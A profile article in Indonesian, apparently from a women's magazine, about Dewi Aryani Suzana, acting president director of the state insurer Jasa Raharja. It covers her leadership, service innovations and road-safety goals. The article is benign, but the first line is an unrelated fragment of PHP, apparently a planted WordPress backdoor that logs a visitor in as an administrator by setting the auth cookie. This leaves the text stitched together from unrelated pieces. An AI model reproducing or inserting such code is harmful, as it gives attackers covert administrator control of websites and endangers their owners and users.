user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Profile
Dewi Aryani Suzana Merangkai Empati dan Inovasi di Jasa Raharja

27 Dec 2025

Integritas dan pelayanan yang membawa kemanfaatan, kunci kepemimpinan Dewi Aryani Suzana. Foto: Dok. Jasa Raharja


Dalam hiruk pikuk dunia korporasi yang sering kali digambarkan keras dan didominasi maskulinitas, kesenjangan gender di level kepemimpinan korporasi menjadi isu global.


Data menunjukkan, representasi perempuan di posisi C-Level masih jauh tertinggal dari laki-laki. Meskipun jumlah lulusan perempuan berkualitas terus meningkat, hanya sekitar 5%-7% dari posisi Direktur Utama Badan Usaha Milik Negara (BUMN) atau perusahaan besar di Indonesia yang dipegang oleh perempuan.

Ketika Dewi Aryani Suzana, dipercaya sebagai Pelaksana Tugas (Plt.) Direktur Utama Jasa Raharjaangka statistik itu justru menegaskan betapa signifikan pencapaiannya di perusahaan yang telah berdiri sejak tahun 1961 tersebut. 

Setelah dua dekade meniti karier di industri asuransi yang secara historis didominasi laki-laki, Dewi membuktikan bahwa ketegasan, analisis holistik, dan kepemimpinan yang humanis adalah kunci untuk mendobrak langit-langit kaca. Sosoknya bukan sekadar pelengkap daftar pemimpin perempuan di BUMN; ia adalah mercusuar inspirasi yang membawa perspektif baru ke jantung pelayanan publik Indonesia melalui Jasa Raharja.

Dewi Aryani Suzana, Plt Direktur Utama Jasa Raharja. Foto: Dok. Jasa Raharja

Kepemimpinan yang humanis

Dewi adalah representasi dari kepemimpinan yang memadukan ketegasan strategis dengan sentuhan empati mendalam. Gaya kepemimpinannya sejalan dengan amanah untuk memimpin institusi yang berperan vital sebagai perwakilan negara dalam memberikan perlindungan dasar bagi korban kecelakaan lalu lintas. Apalagi di tahun 2026, Jasa Raharja akan merayakan ulang tahun ke-65, sebuah penanda dedikasi panjang dalam pelayanan publik dan perlindungan sosial.

Saat ditanya mengenai pilar yang menopang kariernya hingga mencapai posisi puncak, Dewi menyebut dua kata kunci, yaitu integritas dan pelayanan yang membawa kemanfaatan.

“Bagi saya, setiap kebijakan dan keputusan harus kembali pada tujuan besar, bagaimana Jasa Raharja mewakili Negara hadir untuk masyarakat yang sedang mengalami musibah kecelakaan lalu lintas. Mungkin konsistensi pada nilai itu yang membawa saya hingga dipercaya mengemban amanah sebagai Plt. Direktur Utama Jasa Raharja,” katanya tegas.

Filosofi ini menjiwai seluruh strategi kepemimpinannya, terutama dalam menghadapi tantangan terbesar di era modern: Dinamika ekosistem keselamatan transportasi yang berubah cepat dan ekspektasi publik yang semakin tinggi.

Dari posisi sebelumnya sebagai Direktur Operasional, kini Dewi fokus menjadikan Jasa Raharja sebagai BUMN yang lincah dan adaptif. Strategi utamanya adalah penguatan digitalisasi layanan, kolaborasi lintas instansi, serta memastikan perlindungan sosial selalu hadir cepat, tepat, dan akuntabel.

“Kami berhadapan dengan mereka yang berada di momen terendah dalam hidup mereka. Mereka dalam kondisi yang membutuhkan pertolongan, sehingga langkah pertama kami tentu saja hadir untuk membantu. Tak jarang, kami hadir lebih dahulu di lokasi daripada keluarga korban kecelakaan, yang mungkin ada di luar kota,” ungkap Dewi. 

Tidak terelakkan, Jasa Raharja memang berurusan dengan momen paling rentan dalam hidup seseorang, musibah dan duka. Inilah mengapa Dewi mendorong inovasi yang tidak hanya berfokus pada kecepatan, tetapi juga pada dimensi humanis.

Salah satu inovasi gagasannya adalah otomatisasi verifikasi data, integrasi mulus dengan pihak Kepolisian dan Rumah Sakit, serta–dan paling menyentuh–adalah layanan proaktif yang langsung mendatangi korban di rumah sakit atau keluarga korban di rumah duka. Inovasi ini adalah penjelmaan dari pesan yang ia tanamkan kepada seluruh Insan Jasa Raharja: Empati adalah inti dari pekerjaan Jasa Raharja. 

“Kami tidak hanya memberikan santunan—kami memberikan ketenangan. Saya memastikan seluruh Insan Jasa Raharja mendapatkan pembekalan layanan humanis, role model harus datang dari para pimpinan, dan budaya kerja yang menjaga sensitivitas terhadap kondisi korban dan keluarga. Jasa Raharja bekerja untuk orang-orang yang sedang mengalami masa paling sulit dalam hidupnya,” jelasnya, menunjukkan komitmennya kepada pelayanan sepenuh hati.

Di masa kepemimpinannya berbagai inovasi digagas, salah satunya integrasi mulus dengan pihak Kepolisian dan Rumah Sakit untuk pelayanan yang maksimal. Foto: Dok. Jasa Raharja

Strategi transformasi di Jasa Raharja

Sebagai salah satu pemimpin perempuan di BUMN yang didominasi laki-laki, Dewi memberikan definisi yang inspiratif tentang kepemimpinan perempuan. Baginya, kepemimpinan perempuan adalah tentang membawa perspektif keseimbangan, ketekunan, kemampuan merangkul, dan keberanian mengambil keputusan yang berorientasi masa depan.

“Perempuan bahkan mempunyai kemampuan lebih, dia mampu berkerja multitasking dan menyelaraskan berbagai kendala dan perbedaan. Perempuan memiliki kapasitas untuk memimpin dengan ketegasan yang hangat dan analisis yang holistik,” ujar Dewi.

Pesan yang sama juga ia sampaikan kepada perempuan muda: Jangan pernah meragukan kemampuan diri. Berani bermimpi besar, terus belajar, dan yang terpenting percayalah pada diri sendiri, pada proses, dan pada kerja keras yang konsisten.

Advertisement

Salah satu fokus utama kepemimpinan Dewi adalah pengembangan generasi muda di Jasa Raharja, yaitu Milenial dan Gen Z. Ia memandang mereka bukan sekadar staf, melainkan agent of innovation dan cahaya bagi masa depan Jasa Raharja.

“Mereka cepat belajar, tidak takut mencoba. Harapan saya, mereka menjadi motor penggerak transformasi digital, pembawa ide segar, dan pionir budaya kerja yang kolaboratif. Saya ingin mereka tumbuh dalam lingkungan yang memberi ruang berekspresi, berinovasi, dan mengambil tanggung jawab lebih besar,” Dewi berharap.

Menatap lima tahun ke depan, Dewi memiliki visi ambisius untuk Jasa Raharja: Menjadikannya penopang utama ekosistem keselamatan transportasi nasional. 

Ia ingin Jasa Raharja hadir bukan hanya saat kecelakaan terjadi, tetapi juga aktif mencegah kecelakaan melalui program-program yang berdampak, seperti edukasi keselamatan dan pemberdayaan masyarakat, termasuk inisiatif seperti Program Intensifikasi Keselamatan Berbasis Domisili Korban melalui Pemberdayaan 11.000 Aparatur Kecamatan dan Desa sebagai Agen Keselamatan Transportasi.

Hal ini sejalan dengan peringatan 65 Tahun Jasa Raharja tahun depan–memasuki usia ini, peran perusahaan telah bertransformasi dari pembayar santunan menjadi bagian integral dari solusi pencegahan kecelakaan dan peningkatan keselamatan publik di Tanah Air.

Seperti diungkap oleh Dewi, angka kecelakaan di Indonesia masih tinggi, mencapai 150.000 kecelakaan per tahun, dan 60% korbannya berada di usia produktif. Ini sebuah pekerjaan rumah bersama, untuk mengurangi angka kecelakaan karena dampaknya bisa mengurangi produktivitas di masa depan.

Karena itu Dewi melihat pentingnya untuk meningkatkan kepatuhan orang dalam berkendara. Dan menurut Dewi, perempuan memiliki peran penting untuk menjadi garda depan yang menjaga keluarga dengan selalu mengingatkan tentang berkendara yang aman.

“Ibu harusnya mejadi orang yang mengingatkan anaknya tentang keamanan berkendara, salah satunya dengan tidak mengizinkan anak di bawah umur untuk membawa kendaraan. Begitu juga dengan kepatuhan diri sendiri saat berkendara,” kata Dewi. 

Jasa Raharja hadir tidak hanya memberikan santunan bagi korban kecelakaan, tapi juga memberikan ketenangan di masa-masa terberat. Foto: Dok. Jasa Raharja

Keluarga, pengisi ulang energi

Di tengah kesibukan memimpin perusahaan yang bergerak 24/7, Dewi tetap menjadikan keluarga sebagai prioritas mutlak. Momen waktu luang untuk suami, anak-anak, dan kini cucu, adalah pengisi ulang energinya.

“Keluarga adalah fondasi energi saya, yang menjaga saya tetap utuh saat tanggung jawab terasa berat. Saya selalu berusaha menjaga batas antara peran profesional dan personal, misalnya dengan memaksimalkan waktu akhir pekan untuk keluarga. Saya upayakan hadir di tengah keluarga tidak hanya fisik tapi juga secara emosional,” ujarnya.

Bagi Dewi, keluarga adalah pemberi makna, arah, dan kehangatan yang menjaga dirinya tetap seimbang dalam menjalankan amanah memimpin Jasa Raharja. Ini membuktikan bahwa kesuksesan karier tertinggi bisa berjalan selaras dengan keutuhan peran personal.

“Kesuksesan bagi saya adalah ketika dampak pekerjaan kita masih dirasakan bahkan setelah kita tidak lagi di ruangan itu,” Dewi menegaskan. “Kesuksesan adalah kemampuan menjalankan amanah dengan integritas, memberi manfaat yang luas, dan tetap menjadi diri sendiri, sebagai pemimpin, seorang perempuan, dan seorang manusia yang ingin hidupnya berarti.” (f

Baca juga: 
Derry Wijaya: Memberdayakan Perempuan Lewat Teknologi AI
Keindahan Bawah Laut, Dunia Lain Ribka Malise

Dewi Makes Berkarya dengan Hati

 



Faunda Liswijayanti


Topic

#karier, #pemimpinperempuan, #srikandiBUMN

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?